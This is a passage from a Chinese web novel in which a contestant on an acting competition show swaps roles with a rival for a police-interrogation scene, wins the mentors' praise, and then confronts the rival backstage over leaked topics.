顾映一脸问号地看着他,大哥,刚刚不是你非要演警察的角色吗,现在却怪到她头上? 导师们似乎也被他的强词夺理给气笑了,祝怀疆斜睨着他:“你的意思是,如果让你来演反派,你会比她演得更好?” “我……”关跃迟疑了。 “既然这样,老师,我申请互换角色再来一遍!”顾映主动举手,扼杀了他的迟疑。 台下观众再次哗然。 袁昌拿起对讲机呼叫现场导演:“调机位调机位!重点拍关跃和顾映映的微表情!!” 关跃怔愣地看向顾映,没料到她会来这一出。 两人并排站在台上,顾映回了他一个挑衅的眼神。 “这次随便关老师发挥,怎么样?” 关跃突然有种搬起石头砸自己脚的感觉,他讪讪摆手:“不是,我……” “如果这次您确实发挥的比我好,那上一次的表演可以不作数,我愿意认输。”顾映故意加码。 关跃心动了。 毕竟众所周知,顾映映的演技是公认的差,也许刚刚的表演是她超常发挥,或者是她押中题提前做功课了。只要他能复制方才她的表演,她也会被压制的无法发挥…… “顾映映,你确定要再来一遍?”祝怀疆问。 顾映嘴角带笑,坚定道:“确定。” “好,既然如此,那就再给你们一次机会。” 随后,两人回到后台互换戏服和道具,再回到台上时,关跃已经调整好情绪,又恢复到自信满满的状态。 “关跃这小伙子,虽然人品不怎么样,但是这心态还挺强,跟脸皮有的一拼。”公共休息室内,朱茜看着大屏幕,忍不住评价。 林清弦笑了笑没说话。 她想起昨天在观澜,从洗手间出来时,看到穆清曾偷偷将一个纸条塞给关跃。而包间里,关跃敬酒时的眼神,比穆泠和黄乐还要妖娆。 咦,不能想不能想。 她搓了搓胳膊上起来的鸡皮疙瘩。 台上,一身警服的顾映英姿飒爽,她噙着笑看向关跃:“请吧。” 随着一声action指令,舞台再次拉开帷幕。 【审讯室外,顾映背靠在走廊墙上,沉默地看着冷白的墙面。半晌,她闭上眼睛,喉间轻轻哽了一下,随即又重重呼出一口气,再睁开眼时,眼神中只有一望无际的冷冽。 她转身,一把推开了审讯室的门。 她将手中的文件夹重重扔在桌上,审讯灯的光线下淡淡扬起一股飞尘。 坐在审讯椅上的关跃微微抬头:“顾队,久仰大名啊。” 顾映拉开椅子坐下,低头翻开文件夹,公事公办地开口:“关跃,昨晚十一点左右,你的货轮在州港码头卸货,被查出三百公斤□□,纯度皆在95%以上,人赃俱获,你有什么要说的吗?” 关跃轻嗤一声,吊儿郎当地说:“我没什么好说的,成王败寇,你们定我罪好了。” 顾映眼皮未抬,语气古井无波:“据我们的情报所知,你原本并没有打算送这批货,为什么又改变计划,选择铤而走险呢?” 有一瞬间的沉默。 过了会儿,关跃开口道:“你们的情报?我猜……你所谓的情报应该是那位周吴警官传回来的吧?” 说完这句话后,他如愿以偿的在顾映脸上看到了一丝微妙地情绪波动。 他觉得自己抓住了主动权,得意地笑道:“你知道他在传递完这条消息后经历了什么吗?我们故意让他试毒……” “是因为你弟弟吧。”顾映打断他,抬起头,眼神冷静地看着他。 关跃愣住:“什么?” “据我所知,你十二岁就出来闯了,无父无母无牵挂是吧?” 关跃:“……” 不是,这不是他等下要说的词吗? “但是你有个弟弟,叫关路,比你小五岁,前阵子在地下赌场欠钱不还被人打断了一条腿,所以你急需要钱。” 关跃几次张嘴,欲言又止,最后只能撇开头道:“我不知道你在说什么。” 顾映从椅子上站起来,慢慢走到他面前站定,她居高临下地看着他道:“你有没有想过,你为了弟弟铤而走险,而那个幕后之人却骗了周吴将这个真消息传回来,你觉得是因为什么?” 关跃:“……” 我哪知道是为什么,这不都是你自说自话瞎扯出来的吗? “因为他想一石二鸟,既除掉碍事的周吴,也除掉你这个带着拖油瓶的废物。” “你说谁是废物!”关跃下意识地激动起来。 顾映凝视着他,眼神中带着嘲讽和悲凉。 她从口袋里拿出一枚沾着血迹的警徽,将之轻轻放在关跃面前的桌上:“你知道吗?周警官的女儿刚九个月,还没满周岁。” 关跃:“……那又怎样?” 顾映冷笑一声:“那又怎样?” 她突然伸手拉住他的衣领,关跃猝不及防间被拉了个趔趄,手腕上的镣铐打在桌子上哐啷作响。 顾映猩红着眼睛,她能感觉到自己的双手在颤抖:“那又怎样?” 她又重复了一遍。 “你……你要干什么?” 她恶狠狠地注视着他,强忍泪意:“他居然是因为你这种人……居然死在你这种人手里……” 关跃下意识地去推顾映,却没想到她一个女人手劲儿居然那么大。 顾映怒喝:“说!内鬼是谁?” 关跃吓傻了,呐呐道:“……我……我不知道,你放开我。”】 “停!” 顾映一秒出戏,瞬间放开关跃的衣领,并温和道:“不好意思。” 但因为她眼角的凶狠劲儿还没有褪去,关跃愣在原地,还没有恢复状态。 顾映没再管他,接过主持人递过来的话筒,朝台前谢幕鞠躬。 “我很好奇。”祝怀疆服扶了扶眼镜,“你真的是顾映映吗?” 顾映心里咯噔一声,差点以为自己露馅了。 随即,她反应很快道:“祝老师,您这是在夸我吗?” “当然,不明显吗?”祝怀疆摊了摊手,笑道:“不瞒你说,老头子我也是5g上网,还刷到过你演的戏。所以我很疑惑,你是去哪进修了吗?” 这句话问完,其他几人也好奇地看向她。 沈颂绝也略带探究。 顾映故作腼腆地笑了笑:“确实有去上一些课。” “哦?比如呢?”祝怀疆做出洗耳恭听的表情。 “比如,有个老师曾经说过,表演就像一个计算器,无论演什么角色之前,都要把自己归零,然后再来进行加减乘除。如果结果不是自己想要的,那也许是变量错了,如果变量没错,那也可以通过改变符号来调整至你想要达到的数值。” 闻言,祝怀疆目光微动。 顾映继续道:“听了这句话后,我才意识到,以前的我只知道2+2=4,却忘了2x2、2的平方都可以等于4。所以,演绎一个角色,也要赋予它多种角度,再综合起来成为一个有血有肉的灵魂。” 祝怀疆笑意加深:“如果我没记错的话,这句话是我在影校公开课上说的。” 顾映笑眯眯道:“虽然没有线下听过祝老师的课,但有幸在网上看到这段视频,我受益匪浅。” 祝怀疆歪头:“这么说,你还算我半个学生咯?” 顾映眨了眨眼:“如果祝老师愿意认的话。” “那不行。”祝怀疆撇了撇嘴:“要是现场认你做学生,后续你如果晋级,观众会说我给你走后门,要是你表现不好,我这张老脸往哪搁?” 顾映:“……” “哎哎哎。”周震一旁拱火:“要我说,这顾映映有拍祝老马屁的嫌疑诶。怎么她就看祝老的课,不看我们的课呢?我们曾经也开过演技培训班的好伐,是嫌我们的课没营养还是觉得我们不够格啊?你说 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“你先听我说完。”祝怀疆轻轻抬手示意噤声,“我想说的是,角色从来都没有问题。” 他顿了顿,继续道:“这话我也想告诉在座所有的年轻演员。也许你们之间现在还存有经验的多少、演技的高低之分,但是永远不要将角色大小作为你们逃避的借口。俗话说得好,没有小角色,只有小演员,用心最为重要,时间会证明一切。” 话音刚落,观众们便迫不及待地鼓起掌来。 祝怀疆笑着摆了摆手:“你们不用鼓掌,这番话其实老生常谈,我们做老师的嘴都说烂了,且大数人都听过,道理也都懂,但其实很难做到。如果你们能有一个人记住,我就算没有白说。”顿了顿,他又眨了眨眼补充:“就像某位听公开课的同学一样。” 看来自己是在这位老先生面前留下好印象了。 顾映腼腆地笑了笑。 自此,第二轮比赛告一段落。 顾映成功晋级下一轮。 *** 回后台时,经过一段漆黑的过道,四下无人,跟在身后的关跃突然出声叫住顾映。 “顾映映,你是不是作弊了?” “哈?”顾映疑惑转头。 “我看过你演的电视剧,凭你的能力,不可能在这么短时间内将两个角色情绪转换的这么好!” 顾映气笑了:“哦,那我谢谢你的夸奖咯?” “你听不懂好赖话是不是!”像是一拳打在棉花上,关跃气地跳脚。 顾映好整以暇地揣起双手,慢悠悠道:“我当然听不懂。有些人说话颠倒黑白,贼喊捉贼,听的我是云里雾里。你说,我现在要是回台上找导师和观众们答疑解惑一下,是不是能明白的更快一点啊?” “你!”关跃语塞,随即警惕地环望四周,心虚道:“……我不明白你什么意思。” 顾映冷笑,反问他:“你一开始就知道这轮会抽到什么题目吧?” “你胡说什么——” “哎,你别着急嘛。”顾映轻轻摆手,“我来分析分析哈。是不是你早知道本轮会抽到《警察和毒枭》这个主题,提前按自己以为的情境做了警察的功课,所以你才会那么迫不及待地抢警察角色?”看着关跃逐渐难看的脸色,知道自己猜对了,顾映继续道:“但是你没想到祝老师会临时细化主题,所以乱了阵脚……” “够了!”关跃似是恼羞成怒,“顾映映,这只是你的胡乱猜测,没有证据,小心我告你诽谤!” 顾映叉腰:“哦,合着就许你说我作弊,不许我说你偷题咯?大家都没有证据,你管我怎么说呢!” “你!”被噎得无话可说,他只能怒瞪着眼睛,“你别得意,咱们走着瞧!” 说罢,带着恨不得一脚踩死一窝蚂蚁的步伐,怒气冲冲地走了。 顾映:“……” 不是,这就破防了啊? 敢做还不敢让人说了啊。